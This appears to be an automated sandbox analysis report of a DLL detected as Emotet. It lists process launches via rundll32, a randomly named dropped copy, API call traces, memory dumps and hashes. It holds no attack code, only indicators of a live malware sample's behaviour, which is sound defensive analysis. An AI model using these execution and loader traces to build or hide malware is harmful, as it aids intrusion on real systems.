Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,agrwqhxohbh
Imagebase:	0x900000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.701540322.0000000003365000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.701500859.0000000003130000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4036 Parent PID: 556

General

Start time:	08:37:31
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4388 Parent PID: 5636

General

Start time:	08:37:37
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,aoydsyidkopcdbcv
Imagebase:	0x900000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.708035577.000000000321A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.707972883.0000000003120000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4228 Parent PID: 556

General

Start time:	08:37:47
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2548 Parent PID: 556

General

Start time:	08:38:03
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 1140 Parent PID: 556

General

Start time:	08:38:26
Start date:	02/12/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff74a6d0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5968 Parent PID: 556

General

Start time:	08:38:44
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 5760 Parent PID: 5968

General

Start time:	08:39:58
Start date:	02/12/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff6c1020000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5764 Parent PID: 5760

General

Start time:	08:39:59
Start date:	02/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5596 Parent PID: 452

General

Start time:	08:40:21
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL
Imagebase:	0x900000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 3900 Parent PID: 5192

General

Start time:	08:40:22
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Itfgfdekendecpnp\cibm.oux",wUSgoatRqMcfEKj
Imagebase:	0x900000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 2932 Parent PID: 4624

General

Start time:	08:40:41
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL
Imagebase:	0x900000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 3868 Parent PID: 4388

General

Start time:	08:40:49
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL
Imagebase:	0x900000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 3536 Parent PID: 5636

General

Start time:	08:40:50
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL
Imagebase:	0x900000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5184 Parent PID: 556

General

Start time:	08:41:06
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5636 Parent PID: 6048 loaddll32.exeCOMMON

Executed Functions

Function 6ED26100, Relevance: 63.2, APIs: 41, Instructions: 1688windowclipboardthreadCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6ED26154
__aullrem.LIBCMT ref: 6ED26189
CreateMenu.USER32(3EF319B9,00000000,0000005F,00000000,00000002,75140DE0,00000000), ref: 6ED262A3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6ED262E7
GetProcessWindowStation.USER32(3EF319B9,00000000,0000005F,00000000,00000002,75140DE0,00000000), ref: 6ED2633D
GetDialogBaseUnits.USER32 ref: 6ED2637A

Part of subcall function 6ED25ED0: GdiFlush.GDI32(00000031,0000004F,?,6ED26387), ref: 6ED25EF5
Part of subcall function 6ED25ED0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6ED25F01

Part of subcall function 6ED25F20: GetThreadLocale.KERNEL32(00000000,00000031,0000004F,?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8), ref: 6ED25F67
Part of subcall function 6ED25F20: CoFreeUnusedLibraries.OLE32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED25F80
Part of subcall function 6ED25F20: GetFocus.USER32(00000000,00000031,0000004F,?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8), ref: 6ED25FB0
Part of subcall function 6ED25F20: SetFileApisToOEM.KERNEL32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED25FE3
Part of subcall function 6ED25F20: GetClipboardSequenceNumber.USER32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED26020

GetCurrentProcessorNumber.KERNEL32 ref: 6ED264EC
GetLogicalDrives.KERNEL32 ref: 6ED26524
GetLastError.KERNEL32 ref: 6ED26740
GetCurrentProcessorNumber.KERNEL32 ref: 6ED26800
AreFileApisANSI.KERNEL32 ref: 6ED268A0
CoFreeUnusedLibraries.OLE32 ref: 6ED26910
GetForegroundWindow.USER32 ref: 6ED269BC
DestroyCaret.USER32 ref: 6ED269E5
GetClipboardViewer.USER32 ref: 6ED26A19
GetMessageTime.USER32 ref: 6ED26A26
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 6ED26A6D
GetCursor.USER32 ref: 6ED26B55
GetTickCount.KERNEL32 ref: 6ED26D47

Part of subcall function 6ED25F20: IsProcessDPIAware.USER32 ref: 6ED25F6F

Part of subcall function 6ED25BB0: GetTickCount.KERNEL32 ref: 6ED25BCB
Part of subcall function 6ED25BB0: GetMenuCheckMarkDimensions.USER32 ref: 6ED25C12
Part of subcall function 6ED25BB0: CoUninitialize.OLE32(?,6ED26387), ref: 6ED25C5A

GetThreadLocale.KERNEL32 ref: 6ED26EBA
CoUninitialize.OLE32 ref: 6ED26F2A
SwitchToThread.KERNEL32 ref: 6ED26F50
GetCapture.USER32 ref: 6ED27112
GetUserDefaultUILanguage.KERNEL32 ref: 6ED27222
AreFileApisANSI.KERNEL32 ref: 6ED27330
GetUserDefaultLangID.KERNEL32 ref: 6ED27380

Part of subcall function 6ED25BB0: GetSystemDefaultUILanguage.KERNEL32(?,6ED26387), ref: 6ED25CD8

GetKBCodePage.USER32 ref: 6ED27170

Part of subcall function 6ED25BB0: GetForegroundWindow.USER32(?,6ED26387), ref: 6ED25C79
Part of subcall function 6ED25BB0: AnyPopup.USER32 ref: 6ED25CE8

GetClipboardViewer.USER32 ref: 6ED2792A
GetCommandLineW.KERNEL32 ref: 6ED27949
GetClipboardSequenceNumber.USER32 ref: 6ED2796D
IsWow64Message.USER32 ref: 6ED27991
GetUserDefaultLangID.KERNEL32 ref: 6ED27997
UnregisterApplicationRestart.KERNEL32 ref: 6ED279B1
GetACP.KERNEL32 ref: 6ED279C1

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ClipboardDefaultNumber$ApisFileThreadUserWindow$CountCurrentForegroundFreeLangLanguageLibrariesLocaleMenuMessageProcessProcessorSequenceTickUninitializeUnothrow_t@std@@@UnusedViewer__ehfuncinfo$??2@$AllocApplicationAwareBaseCaptureCaretCheckCodeCommandCreateCursorDestroyDialogDimensionsDrivesErrorFlushFocusLastLineLogicalMarkPagePopupRestartStationSwitchSystemTimeUnitsUnregisterVirtualWow64__aulldiv__aullrem
String ID:
API String ID: 610619165-0
Opcode ID: c6d75febebfe8577d6b9de7488ea884f3875ec164a02496f9909ccb704c52851
Instruction ID: bba756c86e87b216268daff65fead032836843f6138b559adda292ae6f6ed885
Opcode Fuzzy Hash: c6d75febebfe8577d6b9de7488ea884f3875ec164a02496f9909ccb704c52851
Instruction Fuzzy Hash: 7FE2D571D20E19DFDF02DFB5C4516AEB379BF5A388F108726D9267B245EB3094828B60

Uniqueness

Uniqueness Score: -1.00%

Function 00F9ED95, Relevance: 9.1, Strings: 7, Instructions: 364COMMON

Download Yara Rule

Strings

vD, xrefs: 00F9EF15
N8^, xrefs: 00F9F29A
H%R, xrefs: 00F9F35B
c, xrefs: 00F9EE51
, ;, xrefs: 00F9EF4A
?D, xrefs: 00F9F017
?D, xrefs: 00F9F023

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: , ;$H%R$N8^$vD$?D$?D$c
API String ID: 0-926347615
Opcode ID: e0dcd12facab55a26fae2dcf29fa2fe12361e9d41ba2531a0aaceae533de5c1a
Instruction ID: e3870ded839ccf6e516a226f60c496a5c66dd0f146a5e366ceefa79108f51cb4
Opcode Fuzzy Hash: e0dcd12facab55a26fae2dcf29fa2fe12361e9d41ba2531a0aaceae533de5c1a
Instruction Fuzzy Hash: 841222B29093809FD768DF25C58AA4BBBF2FBC0718F10891DE1D986260D7B58948DF53

Uniqueness

Uniqueness Score: -1.00%

Function 00FA06EF, Relevance: 6.5, Strings: 5, Instructions: 204COMMON

Download Yara Rule

Strings

XU~, xrefs: 00FA075B
Smq, xrefs: 00FA0770
~V, xrefs: 00FA0800
`H*, xrefs: 00FA073E
GDK, xrefs: 00FA0825

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID: GDK$Smq$XU~$`H*$~V
API String ID: 963392458-3650479097
Opcode ID: c567ba80173c02312879da60463322da737f8d1bc8f9a2772910c3847abd660a
Instruction ID: 7aadd5028e7822d38c221b54cac43a7743a301c04c213d2f56d89bf613a1622d
Opcode Fuzzy Hash: c567ba80173c02312879da60463322da737f8d1bc8f9a2772910c3847abd660a
Instruction Fuzzy Hash: 6CA1F072500248EBDF59CFA5D94A9CE3BA1FF48358F108119FE2996260D7B6C999CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6ED25980, Relevance: 1.7, APIs: 1, Instructions: 167COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(6ED20000,000000C9,00000002,00000002,75140DE0,00000000), ref: 6ED259E3

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: b08b1c4e1e2ef66033237db61b0cc0d7dea3a1fea3a03c92e542a7a1fce034b3
Instruction ID: c01523a75e02d8d511531cad2366f60455cf786396f9253f87aca00cb0e2e03f
Opcode Fuzzy Hash: b08b1c4e1e2ef66033237db61b0cc0d7dea3a1fea3a03c92e542a7a1fce034b3
Instruction Fuzzy Hash: 24611431A042AA8BCB18CFACC5855EDFBF1BF49304F1083A9E451DB656D770AB59C790

Uniqueness

Uniqueness Score: -1.00%

Function 6ED34A48, Relevance: 10.6, APIs: 7, Instructions: 136COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6ED34A8F
___scrt_uninitialize_crt.LIBCMT ref: 6ED34AA9

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 64dbbfc9defed2641087bef25a80b530b7e694cc22018a5a1cedf6f6359e294e
Instruction ID: 443e00e26624578630ae66a906fdcc42785d7dd77a2e15ecef9875a20a53650e
Opcode Fuzzy Hash: 64dbbfc9defed2641087bef25a80b530b7e694cc22018a5a1cedf6f6359e294e
Instruction Fuzzy Hash: 8841B072D04635EFDB608FD5CC00BAF7BB8EB86759F244519E814A7250D73A89439BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED33250, Relevance: 10.6, APIs: 7, Instructions: 131threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6ED227E0: GetTickCount64.KERNEL32 ref: 6ED227EE

GetTickCount64.KERNEL32 ref: 6ED332B2
GetTickCount64.KERNEL32 ref: 6ED332D0
GetTickCount64.KERNEL32 ref: 6ED332E9
GetTickCount64.KERNEL32 ref: 6ED332EB
GetTickCount64.KERNEL32 ref: 6ED332F2
GetTickCount64.KERNEL32 ref: 6ED33310
DisableThreadLibraryCalls.KERNEL32(?,?,?,00000001,?,?,00000001,?,6ED69FC0,0000000C,6ED34C4A,?,00000001,?), ref: 6ED33349

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick$CallsDisableLibraryThread
String ID:
API String ID: 2118593989-0
Opcode ID: 7ea579592a3b4cdc3327e5e23b29db1f09e4b088d1025ae64c1e50fbc7c30a7f
Instruction ID: 9cde42325e67f8b2ad42b260d52c8122fa6c7938af9ffb133de273c2613ec12c
Opcode Fuzzy Hash: 7ea579592a3b4cdc3327e5e23b29db1f09e4b088d1025ae64c1e50fbc7c30a7f
Instruction Fuzzy Hash: 6D51D432D24A14CFEB52DFB8C5407ADB7B4FF46354F20861AD866B7201EB71A4828B61

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4A0C6, Relevance: 7.7, APIs: 5, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4828C: RtlAllocateHeap.NTDLL(00000000,?,?,?,6ED37EB3,?,?,24448D6E,00000000,?,6ED218D7,?,?,?), ref: 6ED482BE

_free.LIBCMT ref: 6ED4A1D5
_free.LIBCMT ref: 6ED4A1EC
_free.LIBCMT ref: 6ED4A20B
_free.LIBCMT ref: 6ED4A226
_free.LIBCMT ref: 6ED4A23D

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: c7f0d82cc9bc6ca98fd05d27479cbe835221dd0e15932a8b59e5ae6726365436
Instruction ID: 2fcdadaa1997d643842541fb0bcb6f16f0276300b3ce151264f827c59923f835
Opcode Fuzzy Hash: c7f0d82cc9bc6ca98fd05d27479cbe835221dd0e15932a8b59e5ae6726365436
Instruction Fuzzy Hash: BA51B372A00605EFDB50CFA9C980BAA77F4EF69324F104979E809DB290F731D901CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED24D10, Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6ED24D46
std::_Lockit::_Lockit.LIBCPMT ref: 6ED24D66
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED24D86
std::_Facet_Register.LIBCPMT ref: 6ED24E21
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED24E39

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 9b26f7f13482ccc5b4d8ba8d24012156e4dc0b0ea46a54b0bb56cd9164b37c61
Instruction ID: a89d0910be7555d32e3c8e9b9b31400400f8ecccb747cad3139794032476cf2c
Opcode Fuzzy Hash: 9b26f7f13482ccc5b4d8ba8d24012156e4dc0b0ea46a54b0bb56cd9164b37c61
Instruction Fuzzy Hash: 3741BD71904624CFEBA5CFD4C850BAEBBB9EF41718F20456DD905AB381DB31A906CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED34AF8, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6ED34B35
dllmain_crt_dispatch.LIBCMT ref: 6ED34B4C
dllmain_raw.LIBCMT ref: 6ED34B94
dllmain_crt_dispatch.LIBCMT ref: 6ED34BA7
dllmain_raw.LIBCMT ref: 6ED34BBA

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: ca9a5ddbb92895f35acc1c1115e6924a10130245562d80985a4810ac75f59986
Instruction ID: f4761b7add0c46ba545f3601195a2f1dac692e86639bb2b81ca4eab05736f4d6
Opcode Fuzzy Hash: ca9a5ddbb92895f35acc1c1115e6924a10130245562d80985a4810ac75f59986
Instruction Fuzzy Hash: 48216D76D04639EFDB619F95CC40FAF3A7DEB86A94B254415F8249B214C33ACD438BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED22070, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6ED2209B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6ED220EA

Part of subcall function 6ED35592: _Yarn.LIBCPMT ref: 6ED355B1
Part of subcall function 6ED35592: _Yarn.LIBCPMT ref: 6ED355D5

Strings

bad locale name, xrefs: 6ED22106

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: ea680b5e3f2efb66b105783bb5b5e340d488941bcfe241ef9559cca12fc10926
Instruction ID: 617e9c093c7b53bbcc8ddffdc15606a052c7e5854068f2580a8cf0d4c001fde0
Opcode Fuzzy Hash: ea680b5e3f2efb66b105783bb5b5e340d488941bcfe241ef9559cca12fc10926
Instruction Fuzzy Hash: EE11A071804B849FD320CFA8C800B57BBF8EF19614F108A6EE49AC7B80D775A508CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6ED45C2B, Relevance: 4.6, APIs: 3, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

_free.LIBCMT ref: 6ED45CDC
_free.LIBCMT ref: 6ED45D0A
_free.LIBCMT ref: 6ED45D52

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 50dddb0ecab762edd17d9f540c84c9afebee97bc1080638a3ddbaebfcf555f87
Instruction ID: 65fd556a993d6a1ac9a56834df328253c6745ffb6261cc50ed803ae7b62996fa
Opcode Fuzzy Hash: 50dddb0ecab762edd17d9f540c84c9afebee97bc1080638a3ddbaebfcf555f87
Instruction Fuzzy Hash: 91416B31604106DFD754DFECC885AA9B7F8EF59318B280A69E854C7295DB32E8109B90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED45D91, Relevance: 4.6, APIs: 3, Instructions: 97COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 6ED45DBD
__cftoe.LIBCMT ref: 6ED45DEF
_free.LIBCMT ref: 6ED45E15

Part of subcall function 6ED3D611: IsProcessorFeaturePresent.KERNEL32(00000017,6ED3D5E3,?,?,6ED218D7,?,00000000,00000016,?,6ED3D5F0,00000000,00000000,00000000,00000000,00000000,6ED48169), ref: 6ED3D613
Part of subcall function 6ED3D611: GetCurrentProcess.KERNEL32(C0000417,?,?,?), ref: 6ED3D636
Part of subcall function 6ED3D611: TerminateProcess.KERNEL32(00000000), ref: 6ED3D63D

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Process__cftoe$CurrentFeaturePresentProcessorTerminate_free
String ID:
API String ID: 3294049834-0
Opcode ID: bd1351bc3aac6ac24c70b19d714462bb54f4db354dba4f0df5ad60f916a77e33
Instruction ID: 399cf1c0ba82179c5391a7020d83a321cd753e03aad1cbfff011fb39761e35cc
Opcode Fuzzy Hash: bd1351bc3aac6ac24c70b19d714462bb54f4db354dba4f0df5ad60f916a77e33
Instruction Fuzzy Hash: 7C21D032804109FADF109BD5DC40EDF7BACDF99224F20467AF929E6184EB31CA558AB1

Uniqueness

Uniqueness Score: -1.00%

Function 00F99100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 00F991EF

Strings

31, xrefs: 00F9919F

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: 79c3055729a7e68d93e96e86c7a62d94b214e47fae33f1d75bae475ceb05d9a5
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
